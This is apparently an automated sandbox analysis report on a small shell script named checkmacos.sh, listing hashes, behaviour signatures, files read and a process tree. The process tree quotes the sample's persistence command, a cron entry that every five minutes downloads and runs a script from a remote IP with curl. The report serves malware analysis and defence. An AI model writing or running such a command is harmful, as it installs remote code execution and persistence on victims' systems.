Analysis
- max time kernel
1s - platform
debian-9_mipsel - resource
debian9-mipsel-20251231-en - resource tags
arch:mipselimage:debian9-mipsel-20251231-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem - submitted
13/01/2026, 16:20
Static task
static1
Behavioral task
behavioral1
Sample
checkmacos.sh
Resource
ubuntu1804-amd64-20251231-en
ubuntu-18.04-amd64
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
checkmacos.sh
Resource
debian9-armhf-20251231-en
debian-9-armhf
4 signatures
150 seconds
Behavioral task
behavioral3
Sample
checkmacos.sh
Resource
debian9-mipsbe-20251231-en
debian-9-mips
4 signatures
150 seconds
Behavioral task
behavioral4
Sample
checkmacos.sh
Resource
debian9-mipsel-20251231-en
debian-9-mipsel
4 signatures
150 seconds
General
- Target checkmacos.sh
- Size 993B
- Sample260113-ttd75act8f
- SHA256 0ffa6dafa8c65e522224da55752e0b4b8b5fb386719a866247e40e788f5fa0d1
- MD5 7f36c1055b23492035234453bbc5628c
- SHA1 095a91f6d8d9c7b4eaa714b5ff8a9722b6eaabd0
- SHA512 f9faccea719a47f3acad05652cbc6e0df0419d3f321d525fa908902b149b376dd6d4b38493697287715d624f4c7bc04f294b740991827b59a8516058ccbf4b18
- MD5 SHA1 SHA512
Malware Config
Signatures
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.Aw7Kw8 crontab - Enumerates running processes
Discovers information about currently running processes on the system
- Reads CPU attributes 1 TTPs 1 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pgrep -
description ioc Process File opened for reading /proc/4/cmdline pgrep File opened for reading /proc/10/status pgrep File opened for reading /proc/333/status pgrep File opened for reading /proc/720/status pgrep File opened for reading /proc/4/status pgrep File opened for reading /proc/7/status pgrep File opened for reading /proc/13/status pgrep File opened for reading /proc/21/status pgrep File opened for reading /proc/73/cmdline pgrep File opened for reading /proc/79/status pgrep File opened for reading /proc/332/cmdline pgrep File opened for reading /proc/712/cmdline pgrep File opened for reading /proc/1/cmdline pgrep File opened for reading /proc/6/cmdline pgrep File opened for reading /proc/392/status pgrep File opened for reading /proc/22/status pgrep File opened for reading /proc/731/status pgrep File opened for reading /proc/20/status pgrep File opened for reading /proc/80/cmdline pgrep File opened for reading /proc/173/status pgrep File opened for reading /proc/388/status pgrep File opened for reading /proc/684/cmdline pgrep File opened for reading /proc/725/cmdline pgrep File opened for reading /proc/9/cmdline pgrep File opened for reading /proc/11/status pgrep File opened for reading /proc/16/status pgrep File opened for reading /proc/16/cmdline pgrep File opened for reading /proc/72/status pgrep File opened for reading /proc/439/status pgrep File opened for reading /proc/731/cmdline pgrep File opened for reading /proc/249/status pgrep File opened for reading /proc/725/status pgrep File opened for reading /proc/738/cmdline pgrep File opened for reading /proc/5/status pgrep File opened for reading /proc/10/cmdline pgrep File opened for reading /proc/74/cmdline pgrep File opened for reading /proc/77/cmdline pgrep File opened for reading /proc/79/cmdline pgrep File opened for reading /proc/249/cmdline pgrep File opened for reading /proc/3/cmdline pgrep File opened for reading /proc/15/cmdline pgrep File opened for reading /proc/37/status pgrep File opened for reading /proc/687/cmdline pgrep File opened for reading /proc/712/status pgrep File opened for reading /proc/388/cmdline pgrep File opened for reading /proc/filesystems crontab File opened for reading /proc/11/cmdline pgrep File opened for reading /proc/17/cmdline pgrep File opened for reading /proc/123/status pgrep File opened for reading /proc/332/status pgrep File opened for reading /proc/339/status pgrep File opened for reading /proc/2/status pgrep File opened for reading /proc/8/cmdline pgrep File opened for reading /proc/24/status pgrep File opened for reading /proc/75/status pgrep File opened for reading /proc/439/cmdline pgrep File opened for reading /proc/333/cmdline pgrep File opened for reading /proc/334/status pgrep File opened for reading /proc/389/status pgrep File opened for reading /proc/389/cmdline pgrep File opened for reading /proc/filesystems crontab File opened for reading /proc/12/status pgrep File opened for reading /proc/12/cmdline pgrep File opened for reading /proc/36/status pgrep
Processes
-
/tmp/checkmacos.sh/tmp/checkmacos.sh1⤵PID:720
-
/bin/grepgrep -Fq "*/5 * * * * /usr/bin/bash -c 'cd /tmp && bash <(curl -s http://149.28.129.194/checkmacos.sh)' &"2⤵PID:724
-
-
/usr/bin/crontabcrontab -l2⤵PID:723
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:733
-
-
/usr/bin/crontabcrontab -l2⤵
- Reads runtime system information
PID:734
-
-
/usr/bin/pgreppgrep -f macos2⤵
- Reads CPU attributes
- Reads runtime system information
PID:738
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /var/spool/cron/crontabs/tmp.Aw7Kw8
- Size 271B
- SHA256 2fc79123d1cde0e330a8ff4710141f2718a800605a12aa0e836c309fefd18f47
- MD5 3d80d0ec5cbbb9a2befe63f956725a94
- SHA1 527a1ddc08f9b491d440883eacdcb3fc8ffb86de
- SHA512 964a87addbbc6c0f1e535fce505ee71282c652fa89f6a206703ed0d530d283ffa4b210ea808f6524537d5a4413aeb148d4157d7228044dc6f704f9422a585b62
- TLSH T198D095997B286430574C4B94775746B99599906480DDBF60D0DC1838020735DBB66A31
- MD5 SHA1 SHA512 TLSH